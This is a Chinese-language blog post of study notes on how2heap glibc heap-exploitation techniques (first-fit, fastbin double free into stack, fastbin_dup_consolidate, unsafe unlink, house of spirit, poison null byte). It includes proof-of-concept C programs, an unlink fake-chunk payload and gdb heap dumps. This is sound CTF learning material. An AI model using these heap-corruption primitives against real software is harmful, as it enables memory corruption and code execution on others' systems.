how2heap注意點總結-上

1.first-fit
我的理解是分割unsortedbin裏面第一個大於要分配的chunk,但是實際上並不是這樣
測試程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	char* a = malloc(0x256); 
	char* b = malloc(0x200);
	char* e = malloc(0x100);
	char* f = malloc(0x256);
	char* c;

	free(e);
	free(a);//前插
	c = malloc(0x80);//分割足夠大的chunk(是找到最適合的,best_fit),遍歷unsortedbin把除了分割的一個鏈入對應的bins,被分割剩下的chunk放入unsortedbin
}

在這裏插入圖片描述可以看出來這裏分割的是e也就是說會遍歷unsortedbin 找到大小最接近的chunk來分割。
其他chunk會放入對應的bins,被分割的chunk剩下的部分放入unsortedbin。
經過後來的測試得出來的結論
1.如果fastbin沒有找到合適的chunk,從unsortedbin裏面查找。
2.在查找unsortedbin之前會進行fast bins裏面的chunk合併,合併之後放入unsortedbin裏面
3.如果unsortedbin裏面找到了大小剛好相同的chunk,直接取出,分配結束
4.如果unsortedbin裏面沒找到大小剛好相同的chunk遍歷unsortedbin把chunk放入相應的bins(不會放入fastbins)
5.緊接着遍歷其他的biins找到合適的chunk進行切割,切割剩餘放入unsortedbin中
(跟一些地方寫的不太一樣,但是解釋的通測試遇到的很多問題。有什麼問題感謝聯繫。)

0x02fast_bin_into_stack
free fast chunk的時候會檢查fastbins如果被main_arena直接連接的chunk被再次free會報錯
在這裏插入圖片描述
這種情況下double free想用這個0x20要寫入的地址是0x7fffffffe5b0-8
在這裏插入圖片描述
放到了對應位置

如果想用這裏的0x7f作爲size
在這裏插入圖片描述
需要0x7fffffffe670-3
在這裏插入圖片描述
由以上總結:想要用一個字節作爲size字段需要用這一行的地址減去它的字節數再減一
0x70-3=0x6d 0xb0-8=0xa8zhan7

double free進入stack條件:需要size,需要棧的加載地址(對於ALSR開啓想用這種方法修改棧需要泄露棧地址 )

0x03 fastbin_dup_consolidate

在分配 large bin chunk 的時候,會調用 malloc_consolidate(),這個函數會遍歷所有的 fastbin 把裏面的 chunk 該合併合併,更改inuse位,然後全部插入 unsorted bin 中。

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

實際上當執行完 void* p3 = malloc(0x400);之後
在這裏插入圖片描述
放入了smallbin 承接之前的說法,放入unsortedbin之後遍歷unortedbin,把對應的chunk放入對應bins中,然後嘗試能不能找到能分割的chunk(這裏沒有找到)
執行完第二次free(p1);
在這裏插入圖片描述
可以看出fast chunk再次被釋放回到了fastbin鏈裏面,smallbins裏面沒有了這個chunk。
在這裏插入圖片描述
但是下一個chunk的previnue位變成了零。放入smallbin會改變標誌位,然後再次free放入fast bin不會改變標誌位,所以這裏的標誌位會變成0,然後從fastbin獲取chunk當然也不會更改inuse位
總結:free掉大chunk會把小的fastbin中的chunk放入smallbin並改變標誌位,再次free小chunk會讓小chunk回到fastbin,轉一圈的收穫是小chunk物理相鄰下一個chunk的prev_inuse位會置零。再配合上unlink無敵。

需要:能夠double-free,有一個大chunk
Hitcon 2016 SleepyHolder參考 https://blog.csdn.net/qq_38204481/article/details/104731016


unsafe_unlink
參考:https://blog.csdn.net/qq_38204481/article/details/82808011
需要:1.bss段指針指向chunk類型 2.能修改prev_inuse位
payload使用

f_ptr = 0x6020d0   #1    #unlink會把f_ptr-0x18寫入到*f_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'

結果是把f_ptr-0x18寫入到*f_ptr



house_of_spirit
需要:

在這裏插入圖片描述
在兩個地址處寫入size。
對size的要求:

  1. 可控1size位在fastbin範圍內,size對齊的4位中第二第四位不能爲1
  2. 可控2的size位大於0x10小於system_mem(64位是128kb即)
pwndbg> hex(126976)
+0000 0x01f000

1.能夠控制的一段或兩段地址
2.需要知道要申請的chunk的地址


poison_null_byte

int __cdecl main(int argc, const char **argv, const char **envp)
{
  uint8_t *a; // ST08_8
  int real_a_size; // ST04_4
  uint8_t *b; // ST10_8
  uint8_t *c; // ST18_8
  void *barrier; // ST20_8
  uint8_t *b1; // ST38_8
  uint8_t *b2; // ST40_8
  uint8_t *d; // ST48_8

  fwrite("Welcome to poison null byte 2.0!\n", 1uLL, 0x21uLL, stderr);
  fwrite("Tested in Ubuntu 14.04 64bit.\n", 1uLL, 0x1EuLL, stderr);
  fwrite(
    "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n",
    1uLL,
    0x6CuLL,
    stderr);
  fwrite(
    "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n",
    1uLL,
    0x61uLL,
    stderr);
  fwrite("We allocate 0x100 bytes for 'a'.\n", 1uLL, 0x21uLL, stderr);
  a = (uint8_t *)malloc(0x100uLL);      //這個chunk不是要有off_by_one_null漏洞
  fprintf(stderr, "a: %p\n", a);
  real_a_size = malloc_usable_size(a);    
  fprintf(
    stderr,
    "Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): %#x\n",
    (unsigned int)real_a_size);
  b = (uint8_t *)malloc(0x200uLL);     //這個chunk用來僞造
  fprintf(stderr, "b: %p\n", b);
  c = (uint8_t *)malloc(0x100uLL);    //這個最後纔會用到
  fprintf(stderr, "c: %p\n", c);
  barrier = malloc(0x100uLL);        //防止被topchunk 合併
  fprintf(
    stderr,
    "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
    "The barrier is not strictly necessary, but makes things less confusing\n",
    barrier);
  fwrite(
    "In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != "
    "prev_size (next_chunk(P))'\n",
    1uLL,
    0x8FuLL,
    stderr);
  *((_QWORD *)b + 0x3E) = 0x200LL;		//正常寫(真正的chunk大小是0x210,在b+0x3e*8,是如果chunk b是0x200大小的話對應下一個chunk的pre_size位)
  free(b);  							//把整個b放入unsorted bin
  fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1));
  fwrite("b.size is: (0x200 + 0x10) | prev_in_use\n", 1uLL, 0x28uLL, stderr);
  fwrite("We overflow 'a' with a single null byte into the metadata of 'b'\n", 1uLL, 0x41uLL, stderr);
  a[real_a_size] = 0;				//修改b的size位和inuse位(只需要改一個字節)
  fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1));
  fprintf(stderr, "c.prev_size is %#lx\n", *((_QWORD *)c - 2));
  fprintf(
    stderr,
    "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
    *((_QWORD *)b - 1),
    *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]);
  b1 = (uint8_t *)malloc(0x100uLL);			//分割b得到b的第一塊0x100大小
  fprintf(stderr, "b1: %p\n", b1);
  fprintf(
    stderr,
    "Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: %#lx\n",
    *((_QWORD *)c - 2));
  fprintf(
    stderr,
    "Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: %lx\n",
    *((_QWORD *)c - 4));
  fwrite("We malloc 'b2', our 'victim' chunk.\n", 1uLL, 0x24uLL, stderr);
  b2 = (uint8_t *)malloc(0x80uLL);			//分割b  chunk的第二塊得到0x80的chunk,分割完之後chunk結構如下圖
  fprintf(stderr, "b2: %p\n", b2);
  memset(b2, 'B', 0x80uLL);
  fprintf(stderr, "Current b2 content:\n%s\n", b2);
  fwrite(
    "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n",
    1uLL,
    0x61uLL,
    stderr);
  free(b1);   			//b1回到unsorted bin中
  free(c); 				//釋放c引起chunk合併(是在沒有修改任何東西的時候寫入的c chunk的prev_size位,導致合併的應該是原來的0x210的chunk,合併成0x320大小的chunk)
  fwrite("Finally, we allocate 'd', overlapping 'b2'.\n", 1uLL, 0x2CuLL, stderr);
  d = (uint8_t *)malloc(0x300uLL);  //d獲取到未分配的b到c的一大塊區域
  fprintf(stderr, "d: %p\n", d);
  fwrite("Now 'd' and 'b2' overlap.\n", 1uLL, 0x1AuLL, stderr);
  memset(d, 68, 0x300uLL);
  fprintf(stderr, "New b2 content:\n%s\n", b2);
  fwrite(
    "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explan"
    "ation of this technique.\n",
    1uLL,
    0x8DuLL,
    stderr);
  return 0;
}

分配完b2得到的chunk結構是

0x555555757110: 0x0000000000000000      0x0000000000000111    b1
0x555555757120: 0x00007ffff7dd1d68      0x00007ffff7dd1d68
0x555555757130: 0x0000000000000000      0x0000000000000000
0x555555757140: 0x0000000000000000      0x0000000000000000
0x555555757150: 0x0000000000000000      0x0000000000000000
0x555555757160: 0x0000000000000000      0x0000000000000000
0x555555757170: 0x0000000000000000      0x0000000000000000
0x555555757180: 0x0000000000000000      0x0000000000000000
0x555555757190: 0x0000000000000000      0x0000000000000000
0x5555557571a0: 0x0000000000000000      0x0000000000000000
0x5555557571b0: 0x0000000000000000      0x0000000000000000
0x5555557571c0: 0x0000000000000000      0x0000000000000000
0x5555557571d0: 0x0000000000000000      0x0000000000000000
0x5555557571e0: 0x0000000000000000      0x0000000000000000
0x5555557571f0: 0x0000000000000000      0x0000000000000000
0x555555757200: 0x0000000000000000      0x0000000000000000
0x555555757210: 0x0000000000000000      0x0000000000000000
0x555555757220: 0x0000000000000000      0x0000000000000091   b2
0x555555757230: 0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x555555757240: 0x0000000000000000      0x0000000000000000
0x555555757250: 0x0000000000000000      0x0000000000000000
0x555555757260: 0x0000000000000000      0x0000000000000000
0x555555757270: 0x0000000000000000      0x0000000000000000
0x555555757280: 0x0000000000000000      0x0000000000000000
0x555555757290: 0x0000000000000000      0x0000000000000000
0x5555557572a0: 0x0000000000000000      0x0000000000000000
0x5555557572b0: 0x0000000000000000      0x0000000000000061   unsorted
0x5555557572c0: 0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x5555557572d0: 0x0000000000000000      0x0000000000000000
0x5555557572e0: 0x0000000000000000      0x0000000000000000
0x5555557572f0: 0x0000000000000000      0x0000000000000000
0x555555757300: 0x0000000000000000      0x0000000000000000
0x555555757310: 0x0000000000000060      0x0000000000000000
0x555555757320: 0x0000000000000210      0x0000000000000110  c

過程
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
之後申請chunk切割b,整個b分割成了3塊
0x0000000000000111 b1
0x0000000000000091 b2
0x0000000000000061 unsorted

接下來釋放b1,c1,當釋放c1的時候進行chunk合併,得到了0x320的chunk。
之後d = (uint8_t *)malloc(0x300uLL)會申請到b和c 兩個chunk的空間

總結:
需要條件:1.有off_by_one_null漏洞
2.是unsorted bin的漏洞利用
結果:可以向unsorted bin 中的chunk寫入數據。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章